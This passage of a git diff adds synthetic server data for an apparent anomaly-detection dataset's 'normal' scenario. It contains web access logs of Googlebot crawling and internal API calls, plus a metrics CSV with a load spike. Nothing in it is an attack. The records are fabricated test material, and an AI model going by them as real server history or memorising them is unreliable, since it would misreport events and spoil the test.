(+http://www.google.com/bot.html)" +Jul 02 12:02:35 web-server: 66.249.66.3 - - [02/Jul/2025:12:02:35 ] "GET /products/page/680 HTTP/1.1" 200 3258 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:02:35 web-server: 66.249.66.9 - - [02/Jul/2025:12:02:35 ] "GET /products/page/418 HTTP/1.1" 200 4184 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:02:35 web-server: 66.249.66.14 - - [02/Jul/2025:12:02:35 ] "GET /products/page/441 HTTP/1.1" 200 3080 "-" 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"-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:04:30 web-server: 66.249.66.9 - - [02/Jul/2025:12:04:30 ] "GET /products/page/842 HTTP/1.1" 200 2381 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:04:35 web-server: 66.249.66.3 - - [02/Jul/2025:12:04:35 ] "GET /products/page/300 HTTP/1.1" 200 4985 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:04:35 web-server: 66.249.66.17 - - [02/Jul/2025:12:04:35 ] "GET /products/page/58 HTTP/1.1" 200 2325 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:04:35 web-server: 66.249.66.11 - - [02/Jul/2025:12:04:35 ] "GET /products/page/273 HTTP/1.1" 200 4522 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:04:35 web-server: 66.249.66.13 - - [02/Jul/2025:12:04:35 ] "GET /products/page/559 HTTP/1.1" 200 2215 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:04:35 web-server: 66.249.66.2 - - [02/Jul/2025:12:04:35 ] "GET /products/page/544 HTTP/1.1" 200 4673 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"-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:04:35 web-server: 66.249.66.7 - - [02/Jul/2025:12:04:35 ] "GET /products/page/64 HTTP/1.1" 200 4621 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:04:35 web-server: 66.249.66.17 - - [02/Jul/2025:12:04:35 ] "GET /products/page/813 HTTP/1.1" 200 3658 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:04:35 web-server: 66.249.66.16 - - [02/Jul/2025:12:04:35 ] "GET /products/page/677 HTTP/1.1" 200 3523 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:04:35 web-server: 66.249.66.10 - - [02/Jul/2025:12:04:35 ] "GET /products/page/776 HTTP/1.1" 200 5000 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:04:35 web-server: 66.249.66.3 - - [02/Jul/2025:12:04:35 ] "GET /products/page/100 HTTP/1.1" 200 3661 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:04:35 web-server: 66.249.66.4 - - [02/Jul/2025:12:04:35 ] "GET /products/page/569 HTTP/1.1" 200 2012 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"Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:04:55 web-server: 66.249.66.14 - - [02/Jul/2025:12:04:55 ] "GET /products/page/102 HTTP/1.1" 200 3700 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:04:55 web-server: 66.249.66.10 - - [02/Jul/2025:12:04:55 ] "GET /products/page/951 HTTP/1.1" 200 4276 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:04:55 web-server: 66.249.66.4 - - [02/Jul/2025:12:04:55 ] "GET /products/page/731 HTTP/1.1" 200 2832 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:04:55 web-server: 66.249.66.12 - - [02/Jul/2025:12:04:55 ] "GET /products/page/528 HTTP/1.1" 200 3088 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:04:55 web-server: 66.249.66.3 - - [02/Jul/2025:12:04:55 ] "GET /products/page/995 HTTP/1.1" 200 4570 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:04:55 web-server: 66.249.66.11 - - [02/Jul/2025:12:04:55 ] "GET /products/page/317 HTTP/1.1" 200 4592 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:04:55 web-server: 66.249.66.10 - - [02/Jul/2025:12:04:55 ] "GET /products/page/307 HTTP/1.1" 200 4318 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:04:55 web-server: 66.249.66.14 - - [02/Jul/2025:12:04:55 ] "GET /products/page/210 HTTP/1.1" 200 2488 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:04:55 web-server: 66.249.66.14 - - [02/Jul/2025:12:04:55 ] "GET /products/page/628 HTTP/1.1" 200 4627 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:05:00 web-server: 192.168.1.109 - - [02/Jul/2025:12:05:00 ] "GET /api/v1/user/21 HTTP/1.1" 200 1129 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.5112.79 Safari/537.36" +Jul 02 12:05:10 web-server: 192.168.1.118 - - [02/Jul/2025:12:05:10 ] "GET /api/v1/user/37 HTTP/1.1" 200 1485 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0" +Jul 02 12:05:15 web-server: 192.168.1.110 - - [02/Jul/2025:12:05:15 ] "GET /api/v1/user/10 HTTP/1.1" 200 655 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.5112.79 Safari/537.36" +Jul 02 12:05:40 web-server: 192.168.1.111 - - [02/Jul/2025:12:05:40 ] "GET /api/v1/user/2 HTTP/1.1" 200 1228 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0" +Jul 02 12:05:50 web-server: 192.168.1.109 - - [02/Jul/2025:12:05:50 ] "GET /api/v1/user/28 HTTP/1.1" 200 972 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0" +Jul 02 12:05:55 web-server: 192.168.1.100 - - [02/Jul/2025:12:05:55 ] "GET /api/v1/user/22 HTTP/1.1" 200 945 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36" +Jul 02 12:06:00 web-server: 192.168.1.100 - - [02/Jul/2025:12:06:00 ] "GET /api/v1/user/36 HTTP/1.1" 200 1172 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36" +Jul 02 12:06:05 web-server: 192.168.1.108 - - [02/Jul/2025:12:06:05 ] "GET /api/v1/user/3 HTTP/1.1" 200 1472 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.5112.79 Safari/537.36" +Jul 02 12:06:10 web-server: 192.168.1.113 - - [02/Jul/2025:12:06:10 ] "GET /api/v1/user/37 HTTP/1.1" 200 766 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0" +Jul 02 12:06:15 web-server: 192.168.1.114 - - [02/Jul/2025:12:06:15 ] "GET /api/v1/user/43 HTTP/1.1" 200 875 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0" +Jul 02 12:06:20 web-server: 192.168.1.111 - - [02/Jul/2025:12:06:20 ] "GET /api/v1/user/16 HTTP/1.1" 200 1370 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0" +Jul 02 12:06:25 web-server: 192.168.1.107 - - [02/Jul/2025:12:06:25 ] "GET /api/v1/user/30 HTTP/1.1" 200 653 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36" +Jul 02 12:06:30 web-server: 192.168.1.116 - - [02/Jul/2025:12:06:30 ] "GET /api/v1/user/5 HTTP/1.1" 200 1479 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36" +Jul 02 12:06:40 web-server: 192.168.1.101 - - [02/Jul/2025:12:06:40 ] "GET /api/v1/user/3 HTTP/1.1" 200 707 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0" +Jul 02 12:06:55 web-server: 192.168.1.106 - - [02/Jul/2025:12:06:55 ] "GET /api/v1/user/23 HTTP/1.1" 200 722 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0" +Jul 02 12:07:10 web-server: 192.168.1.103 - - [02/Jul/2025:12:07:10 ] "GET /api/v1/user/20 HTTP/1.1" 200 505 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36" +Jul 02 12:07:15 web-server: 192.168.1.110 - - [02/Jul/2025:12:07:15 ] "GET /api/v1/user/18 HTTP/1.1" 200 886 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.5112.79 Safari/537.36" +Jul 02 12:07:15 systemd[1]: Starting daily clean up activities... +Jul 02 12:07:20 web-server: 192.168.1.116 - - [02/Jul/2025:12:07:20 ] "GET /api/v1/user/18 HTTP/1.1" 200 1399 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0" diff --git a/norm_dataset/scenario_8/norm_8_19.csv b/norm_dataset/scenario_8/norm_8_19.csv new file mode 100644 index 0000000000000000000000000000000000000000..6eaee5c833c19e28a50f927a9714af63ef01b186 --- /dev/null +++ b/norm_dataset/scenario_8/norm_8_19.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-08-22T10:00:00Z,12.26,41.95,31.18,1.13,1.19 +2025-08-22T10:00:05Z,11.81,41.85,24.21,1.32,1.28 +2025-08-22T10:00:10Z,11.11,35.89,21.15,1.18,1.18 +2025-08-22T10:00:15Z,13.27,44.59,22.4,1.19,1.26 +2025-08-22T10:00:20Z,11.63,35.27,29.58,1.46,1.21 +2025-08-22T10:00:25Z,15.25,35.17,24.04,1.47,0.71 +2025-08-22T10:00:30Z,11.14,42.12,21.81,1.45,0.7 +2025-08-22T10:00:35Z,11.65,44.17,34.52,1.4,0.87 +2025-08-22T10:00:40Z,12.48,42.12,31.38,1.34,1.24 +2025-08-22T10:00:45Z,17.9,44.67,20.36,1.05,1.2 +2025-08-22T10:00:50Z,10.71,35.44,24.99,0.82,1.19 +2025-08-22T10:00:55Z,13.49,40.53,22.57,1.36,1.06 +2025-08-22T10:01:00Z,19.35,35.69,27.06,1.31,1.01 +2025-08-22T10:01:05Z,15.81,39.7,33.65,1.45,0.79 +2025-08-22T10:01:10Z,12.16,41.2,34.97,1.16,0.93 +2025-08-22T10:01:15Z,13.77,36.71,22.59,1.17,0.99 +2025-08-22T10:01:20Z,14.5,36.84,27.49,1.13,1.08 +2025-08-22T10:01:25Z,17.31,40.11,32.61,1.3,1.17 +2025-08-22T10:01:30Z,11.94,36.66,31.0,1.2,0.96 +2025-08-22T10:01:35Z,13.66,44.31,27.95,1.14,0.79 +2025-08-22T10:01:40Z,19.8,42.26,21.66,1.1,1.25 +2025-08-22T10:01:45Z,10.17,36.86,24.49,0.95,0.76 +2025-08-22T10:01:50Z,10.41,38.16,30.37,1.23,1.24 +2025-08-22T10:01:55Z,13.04,41.2,29.24,1.05,0.94 +2025-08-22T10:02:00Z,63.62,42.23,69.52,4.65,20.85 +2025-08-22T10:02:05Z,79.79,47.8,74.51,2.78,22.62 +2025-08-22T10:02:10Z,72.35,47.08,73.23,3.61,25.3 +2025-08-22T10:02:15Z,84.89,52.81,60.45,3.41,24.84 +2025-08-22T10:02:20Z,73.21,44.62,65.18,2.54,25.69 +2025-08-22T10:02:25Z,85.31,46.3,66.25,3.94,18.54 +2025-08-22T10:02:30Z,71.47,43.99,65.3,2.66,19.36 +2025-08-22T10:02:35Z,72.65,45.94,71.91,3.11,17.81 +2025-08-22T10:02:40Z,74.64,50.98,70.69,3.16,25.69 +2025-08-22T10:02:45Z,76.56,45.1,74.93,4.97,16.15 +2025-08-22T10:02:50Z,74.12,52.11,66.25,2.89,23.77 +2025-08-22T10:02:55Z,68.63,49.21,67.45,2.49,15.78 +2025-08-22T10:03:00Z,72.29,53.62,64.29,3.79,18.25 +2025-08-22T10:03:05Z,64.78,48.79,78.46,4.11,24.6 +2025-08-22T10:03:10Z,89.38,43.27,72.72,2.98,18.11 +2025-08-22T10:03:15Z,75.69,43.55,57.94,2.51,18.02 +2025-08-22T10:03:20Z,82.46,46.57,69.65,4.76,24.99 +2025-08-22T10:03:25Z,80.21,47.9,63.7,4.75,23.9 +2025-08-22T10:03:30Z,72.19,45.61,79.59,2.66,19.89 +2025-08-22T10:03:35Z,63.96,45.97,59.88,3.96,16.2 +2025-08-22T10:03:40Z,66.68,45.39,74.67,5.15,25.79 +2025-08-22T10:03:45Z,81.14,46.15,59.22,4.73,16.47 +2025-08-22T10:03:50Z,76.57,49.76,74.9,4.9,23.81 +2025-08-22T10:03:55Z,79.35,42.66,57.98,2.96,17.22 +2025-08-22T10:04:00Z,73.37,48.23,66.67,4.57,17.67 +2025-08-22T10:04:05Z,84.75,42.7,51.38,4.01,23.29 +2025-08-22T10:04:10Z,71.06,46.67,67.14,2.46,23.15 +2025-08-22T10:04:15Z,81.11,48.78,70.77,3.66,25.62 +2025-08-22T10:04:20Z,69.8,46.02,72.52,4.39,22.67 +2025-08-22T10:04:25Z,79.87,49.6,66.62,5.09,16.02 +2025-08-22T10:04:30Z,73.41,49.73,64.9,5.31,25.05 +2025-08-22T10:04:35Z,72.77,46.53,77.91,2.95,18.59 +2025-08-22T10:04:40Z,80.86,49.8,68.74,3.42,21.22 +2025-08-22T10:04:45Z,64.57,50.9,55.22,3.46,16.91 +2025-08-22T10:04:50Z,74.47,43.51,65.72,2.19,22.63 +2025-08-22T10:04:55Z,75.09,44.31,59.99,2.79,24.57 +2025-08-22T10:05:00Z,73.52,46.91,67.96,4.58,21.64 +2025-08-22T10:05:05Z,12.17,37.7,25.84,1.32,1.18 +2025-08-22T10:05:10Z,18.81,42.99,24.72,0.95,0.71 +2025-08-22T10:05:15Z,13.17,42.31,24.63,1.25,0.79 +2025-08-22T10:05:20Z,12.25,42.87,34.0,0.94,1.04 +2025-08-22T10:05:25Z,17.69,42.77,24.09,1.05,0.82 +2025-08-22T10:05:30Z,15.12,39.66,23.04,0.92,0.76 +2025-08-22T10:05:35Z,19.01,42.65,33.27,0.91,1.14 +2025-08-22T10:05:40Z,14.71,42.49,28.18,1.41,1.06 +2025-08-22T10:05:45Z,18.52,44.21,21.54,1.09,1.08 +2025-08-22T10:05:50Z,15.71,40.85,26.84,1.04,0.98 +2025-08-22T10:05:55Z,17.8,35.84,20.87,1.46,0.73 +2025-08-22T10:06:00Z,18.83,40.41,20.01,0.96,1.05 +2025-08-22T10:06:05Z,18.97,44.99,26.7,1.29,1.3 +2025-08-22T10:06:10Z,16.82,41.09,26.8,0.83,0.71 +2025-08-22T10:06:15Z,16.49,36.67,28.57,1.38,1.06 +2025-08-22T10:06:20Z,19.51,41.63,30.7,1.49,1.22 +2025-08-22T10:06:25Z,13.27,38.81,32.19,1.21,0.93 +2025-08-22T10:06:30Z,11.49,38.05,27.78,1.01,0.72 +2025-08-22T10:06:35Z,17.99,35.52,34.91,1.06,0.89 +2025-08-22T10:06:40Z,16.0,39.02,33.77,0.83,0.95 +2025-08-22T10:06:45Z,15.26,43.14,22.85,1.42,0.7 +2025-08-22T10:06:50Z,19.64,36.58,24.94,1.3,1.26 +2025-08-22T10:06:55Z,14.41,39.39,25.22,1.13,0.97 +2025-08-22T10:07:00Z,11.87,42.76,23.18,1.43,0.82 +2025-08-22T10:07:05Z,19.27,40.45,29.3,1.15,1.1 +2025-08-22T10:07:10Z,13.22,38.74,34.32,0.86,1.14 +2025-08-22T10:07:15Z,17.78,43.87,31.06,1.47,0.73 +2025-08-22T10:07:20Z,18.12,40.95,20.97,1.37,0.88 +2025-08-22T10:07:25Z,13.19,40.79,34.77,1.03,0.96 diff --git a/norm_dataset/scenario_8/norm_8_19.log b/norm_dataset/scenario_8/norm_8_19.log new file mode 100644 index 0000000000000000000000000000000000000000..2d44b9a1915949211699ab2bc3cee5ec3fcf0a68 --- /dev/null +++ b/norm_dataset/scenario_8/norm_8_19.log @@ -0,0 +1,461 @@ +Aug 22 10:00:10 web-server-prod-1[2000]: GET /api/v1/user/profile status=200 user_agent="Mozilla/5.0..." remote_ip=192.168.1.81 +Aug 22 10:00:14 systemd[1]: Starting daily clean up activities... +Aug 22 10:00:15 web-server-prod-1[2000]: GET /api/v1/user/profile status=200 user_agent="Mozilla/5.0..." remote_ip=192.168.1.47 +Aug 22 10:00:24 web-server-prod-1[2000]: GET /api/v1/user/profile status=200 user_agent="Mozilla/5.0..." remote_ip=192.168.1.53 +Aug 22 10:00:25 web-server-prod-1[2000]: GET /api/v1/user/profile status=200 user_agent="Mozilla/5.0..." remote_ip=192.168.1.130 +Aug 22 10:00:30 web-server-prod-1[2000]: GET /api/v1/data status=200 user_agent="Mozilla/5.0..." remote_ip=192.168.1.112 +Aug 22 10:00:36 web-server-prod-1[2000]: GET /api/v1/data status=200 user_agent="Mozilla/5.0..." remote_ip=192.168.1.15 +Aug 22 10:00:42 web-server-prod-1[2000]: GET /api/v1/user/profile status=200 user_agent="Mozilla/5.0..." remote_ip=192.168.1.48 +Aug 22 10:00:45 web-server-prod-1[2000]: GET /api/v1/data status=200 user_agent="Mozilla/5.0..." remote_ip=192.168.1.56 +Aug 22 10:00:57 web-server-prod-1[2000]: GET /api/v1/data status=200 user_agent="Mozilla/5.0..." remote_ip=192.168.1.28 +Aug 22 10:01:05 web-server-prod-1[2000]: GET /api/v1/data status=200 user_agent="Mozilla/5.0..." remote_ip=192.168.1.132 +Aug 22 10:01:12 web-server-prod-1[2000]: GET /api/v1/user/profile status=200 user_agent="Mozilla/5.0..." remote_ip=192.168.1.121 +Aug 22 10:01:21 web-server-prod-1[2000]: GET /api/v1/data status=200 user_agent="Mozilla/5.0..." remote_ip=192.168.1.92 +Aug 22 10:01:33 web-server-prod-1[2000]: GET /api/v1/user/profile status=200 user_agent="Mozilla/5.0..." remote_ip=192.168.1.191 +Aug 22 10:01:39 web-server-prod-1[2000]: GET /api/v1/user/profile status=200 user_agent="Mozilla/5.0..." remote_ip=192.168.1.162 +Aug 22 10:01:52 web-server-prod-1[2000]: GET /api/v1/user/profile status=200 user_agent="Mozilla/5.0..." remote_ip=192.168.1.31 +Aug 22 10:02:00 web-server-prod-1[2000]: GET /blog/post-2-new status=200 user_agent="Googlebot/2.1 (+http://www.google.com/bot.html)" remote_ip=66.249.75.201 +Aug 22 10:02:00 web-server-prod-1[2000]: GET /products/widget-b status=200 user_agent="Googlebot/2.1 (+http://www.google.com/bot.html)" remote_ip=66.249.66.1 +Aug 22 10:02:01 web-server-prod-1[2000]: GET /contact-us status=200 user_agent="Googlebot/2.1 (+http://www.google.com/bot.html)" remote_ip=66.249.66.1 +Aug 22 10:02:01 web-server-prod-1[2000]: GET /products/widget-a status=200 user_agent="Googlebot/2.1 (+http://www.google.com/bot.html)" remote_ip=66.249.75.129 +Aug 22 10:02:02 web-server-prod-1[2000]: GET /docs/api/v1 status=200 user_agent="Googlebot/2.1 (+http://www.google.com/bot.html)" remote_ip=66.249.66.1 +Aug 22 10:02:02 web-server-prod-1[2000]: GET /docs/api/v1 status=200 user_agent="Googlebot/2.1 (+http://www.google.com/bot.html)" remote_ip=66.249.66.5 +Aug 22 10:02:03 web-server-prod-1[2000]: GET /robots.txt status=200 user_agent="Googlebot/2.1 (+http://www.google.com/bot.html)" remote_ip=66.249.75.129 +Aug 22 10:02:03 web-server-prod-1[2000]: GET /products/widget-a status=200 user_agent="Googlebot/2.1 (+http://www.google.com/bot.html)" remote_ip=66.249.66.1 +Aug 22 10:02:03 web-server-prod-1[2000]: GET /products/widget-b status=200 user_agent="Googlebot/2.1 (+http://www.google.com/bot.html)" remote_ip=66.249.75.201 +Aug 22 10:02:06 web-server-prod-1[2000]: GET /docs/api/v1 status=200 user_agent="Googlebot/2.1 (+http://www.google.com/bot.html)" remote_ip=66.249.75.201 +Aug 22 10:02:06 web-server-prod-1[2000]: GET /blog/post-2-new status=200 user_agent="Googlebot/2.1 (+http://www.google.com/bot.html)" remote_ip=66.249.66.5 +Aug 22 10:02:07 web-server-prod-1[2000]: GET /blog/post-1 status=200 user_agent="Googlebot/2.1 (+http://www.google.com/bot.html)" remote_ip=66.249.75.129 +Aug 22 10:02:07 web-server-prod-1[2000]: GET /blog/post-1 status=200 user_agent="Googlebot/2.1 (+http://www.google.com/bot.html)" remote_ip=66.249.66.5 +Aug 22 10:02:08 web-server-prod-1[2000]: GET /products/widget-a status=200 user_agent="Googlebot/2.1 (+http://www.google.com/bot.html)" remote_ip=66.249.75.201 +Aug 22 10:02:08 web-server-prod-1[2000]: GET /blog/post-2-new status=200 user_agent="Googlebot/2.1 (+http://www.google.com/bot.html)" remote_ip=66.249.66.5 +Aug 22 10:02:08 web-server-prod-1[2000]: GET /docs/api/v1 status=200 user_agent="Googlebot/2.1 (+http://www.google.com/bot.html)" remote_ip=66.249.66.5 +Aug 22 10:02:09 web-server-prod-1[2000]: GET /about status=200 user_agent="Googlebot/2.1 (+http://www.google.com/bot.html)" remote_ip=66.249.66.1 +Aug 22 10:02:09 web-server-prod-1[2000]: GET / status=200 user_agent="Googlebot/2.1 (+http://www.google.com/bot.html)" remote_ip=66.249.75.201 +Aug 22 10:02:09 web-server-prod-1[2000]: GET /products/widget-a status=200 user_agent="Googlebot/2.1 (+http://www.google.com/bot.html)" remote_ip=66.249.75.129 +Aug 22 10:02:09 web-server-prod-1[2000]: GET /robots.txt status=200 user_agent="Googlebot/2.1 (+http://www.google.com/bot.html)" remote_ip=66.249.66.5 +Aug 22 10:02:09 web-server-prod-1[2000]: GET /blog/post-1 status=200 user_agent="Googlebot/2.1 (+http://www.google.com/bot.html)" remote_ip=66.249.75.201 +Aug 22 10:02:10 web-server-prod-1[2000]: GET /products/widget-b status=200 user_agent="Googlebot/2.1 (+http://www.google.com/bot.html)" remote_ip=66.249.66.1 +Aug 22 10:02:10 web-server-prod-1[2000]: GET /blog/post-1 status=200 user_agent="Googlebot/2.1 (+http://www.google.com/bot.html)" remote_ip=66.249.66.1 +Aug 22 10:02:11 web-server-prod-1[2000]: GET /products/widget-b status=200 user_agent="Googlebot/2.1 (+http://www.google.com/bot.html)" remote_ip=66.249.66.1 +Aug 22 10:02:12 web-server-prod-1[2000]: GET /contact-us status=200 user_agent="Googlebot/2.1 (+http://www.google.com/bot.html)" remote_ip=66.249.75.201 +Aug 22 10:02:12 web-server-prod-1[2000]: GET /contact-us status=200 user_agent="Googlebot/2.1 (+http://www.google.com/bot.html)" remote_ip=66.249.66.5 +Aug 22 10:02:12 web-server-prod-1[2000]: GET /about status=200 user_agent="Googlebot/2.1 (+http://www.google.com/bot.html)" remote_ip=66.249.75.129 +Aug 22 10:02:14 web-server-prod-1[2000]: GET / status=200 user_agent="Googlebot/2.1 (+http://www.google.com/bot.html)" remote_ip=66.249.75.129 +Aug 22 10:02:14 web-server-prod-1[2000]: GET /products/widget-b status=200 user_agent="Googlebot/2.1 (+http://www.google.com/bot.html)" remote_ip=66.249.66.5 +Aug 22 10:02:14 web-server-prod-1[2000]: GET /products/widget-a status=200 user_agent="Googlebot/2.1 (+http://www.google.com/bot.html)" remote_ip=66.249.66.1 +Aug 22 10:02:14 web-server-prod-1[2000]: GET /sitemap.xml status=200 user_agent="Googlebot/2.1 (+http://www.google.com/bot.html)" remote_ip=66.249.75.129 +Aug 22 10:02:15 web-server-prod-1[2000]: GET /products/widget-a status=200 user_agent="Googlebot/2.1 (+http://www.google.com/bot.html)" remote_ip=66.249.75.129 +Aug 22 10:02:15 web-server-prod-1[2000]: GET /blog/post-2-new status=200 user_agent="Googlebot/2.1 (+http://www.google.com/bot.html)" remote_ip=66.249.66.5 +Aug 22 10:02:16 web-server-prod-1[2000]: GET /docs/api/v1 status=200 user_agent="Googlebot/2.1 (+http://www.google.com/bot.html)" remote_ip=66.249.75.201 +Aug 22 10:02:16 web-server-prod-1[2000]: GET /docs/api/v1 status=200 user_agent="Googlebot/2.1 (+http://www.google.com/bot.html)" remote_ip=66.249.75.129 +Aug 22 10:02:17 web-server-prod-1[2000]: GET /about status=200 user_agent="Googlebot/2.1 (+http://www.google.com/bot.html)" remote_ip=66.249.66.5 +Aug 22 10:02:17 web-server-prod-1[2000]: GET /contact-us status=200 user_agent="Googlebot/2.1 (+http://www.google.com/bot.html)" remote_ip=66.249.75.201 +Aug 22 10:02:17 web-server-prod-1[2000]: GET /blog/post-1 status=200 user_agent="Googlebot/2.1 (+http://www.google.com/bot.html)" remote_ip=66.249.66.1 +Aug 22 10:02:17 web-server-prod-1[2000]: GET /blog/post-2-new status=200 user_agent="Googlebot/2.1 (+http://www.google.com/bot.html)" remote_ip=66.249.75.201 +Aug 22 10:02:17 web-server-prod-1[2000]: GET /products/widget-a status=200 user_agent="Googlebot/2.1 (+http://www.google.com/bot.html)" remote_ip=66.249.66.1 +Aug 22 10:02:18 web-server-prod-1[2000]: GET /blog/post-1 status=200 user_agent="Googlebot/2.1 (+http://www.google.com/bot.html)" remote_ip=66.249.75.201 +Aug 22 10:02:19 web-server-prod-1[2000]: GET /blog/post-2-new status=200 user_agent="Googlebot/2.1 (+http://www.google.com/bot.html)" remote_ip=66.249.66.1 +Aug 22 10:02:19 web-server-prod-1[2000]: GET /blog/post-2-new status=200 user_agent="Googlebot/2.1 (+http://www.google.com/bot.html)" remote_ip=66.249.66.5 +Aug 22 10:02:19 web-server-prod-1[2000]: GET /blog/post-1 status=200 user_agent="Googlebot/2.1 (+http://www.google.com/bot.html)" remote_ip=66.249.75.201 +Aug 22 10:02:20 web-server-prod-1[2000]: GET /docs/api/v1 status=200 user_agent="Googlebot/2.1 (+http://www.google.com/bot.html)" remote_ip=66.249.75.129 +Aug 22 10:02:21 web-server-prod-1[2000]: GET /sitemap.xml status=200 user_agent="Googlebot/2.1 (+http://www.google.com/bot.html)" remote_ip=66.249.66.1 +Aug 22 10:02:21 web-server-prod-1[2000]: GET /blog/post-1 status=200 user_agent="Googlebot/2.1 (+http://www.google.com/bot.html)" remote_ip=66.249.66.1 +Aug 22 10:02:21 web-server-prod-1[2000]: GET /products/widget-b status=200 user_agent="Googlebot/2.1 (+http://www.google.com/bot.html)" remote_ip=66.249.75.201 +Aug 22 10:02:22 web-server-prod-1[2000]: GET /products/widget-b status=200 user_agent="Googlebot/2.1 (+http://www.google.com/bot.html)" remote_ip=66.249.66.1 +Aug 22 10:02:22 web-server-prod-1[2000]: GET /sitemap.xml status=200 user_agent="Googlebot/2.1 (+http://www.google.com/bot.html)" remote_ip=66.249.75.201 +Aug 22 10:02:23 web-server-prod-1[2000]: GET /docs/api/v1 status=200 user_agent="Googlebot/2.1 (+http://www.google.com/bot.html)" remote_ip=66.249.75.129 +Aug 22 10:02:24 web-server-prod-1[2000]: GET /sitemap.xml status=200 user_agent="Googlebot/2.1 (+http://www.google.com/bot.html)" remote_ip=66.249.66.1 +Aug 22 10:02:24 web-server-prod-1[2000]: GET /docs/api/v1 status=200 user_agent="Googlebot/2.1 (+http://www.google.com/bot.html)" remote_ip=66.249.75.201 +Aug 22 10:02:25 web-server-prod-1[2000]: GET /products/widget-a status=200 user_agent="Googlebot/2.1 (+http://www.google.com/bot.html)" remote_ip=66.249.75.201 +Aug 22 10:02:25 web-server-prod-1[2000]: GET /docs/api/v1 status=200 user_agent="Googlebot/2.1 (+http://www.google.com/bot.html)" remote_ip=66.249.66.5 +Aug 22 10:02:25 web-server-prod-1[2000]: GET /sitemap.xml status=200 user_agent="Googlebot/2.1 (+http://www.google.com/bot.html)" remote_ip=66.249.75.201 +Aug 22 10:02:25 web-server-prod-1[2000]: GET /products/widget-a status=200 user_agent="Googlebot/2.1 (+http://www.google.com/bot.html)" remote_ip=66.249.66.1 +Aug 22 10:02:27 web-server-prod-1[2000]: GET / status=200 user_agent="Googlebot/2.1 (+http://www.google.com/bot.html)" remote_ip=66.249.66.5 +Aug 22 10:02:27 web-server-prod-1[2000]: GET /products/widget-a status=200 user_agent="Googlebot/2.1 (+http://www.google.com/bot.html)" remote_ip=66.249.66.5 +Aug 22 10:02:28 web-server-prod-1[2000]: GET /products/widget-b status=200 user_agent="Googlebot/2.1 (+http://www.google.com/bot.html)" remote_ip=66.249.66.1 +Aug 22 10:02:28 web-server-prod-1[2000]: GET /products/widget-b status=200 user_agent="Googlebot/2.1 (+http://www.google.com/bot.html)" remote_ip=66.249.66.5 +Aug 22 10:02:28 web-server-prod-1[2000]: GET /robots.txt status=200 user_agent="Googlebot/2.1 (+http://www.google.com/bot.html)" remote_ip=66.249.66.5 +Aug 22 10:02:28 web-server-prod-1[2000]: GET / status=200 user_agent="Googlebot/2.1 (+http://www.google.com/bot.html)" remote_ip=66.249.75.129 +Aug 22 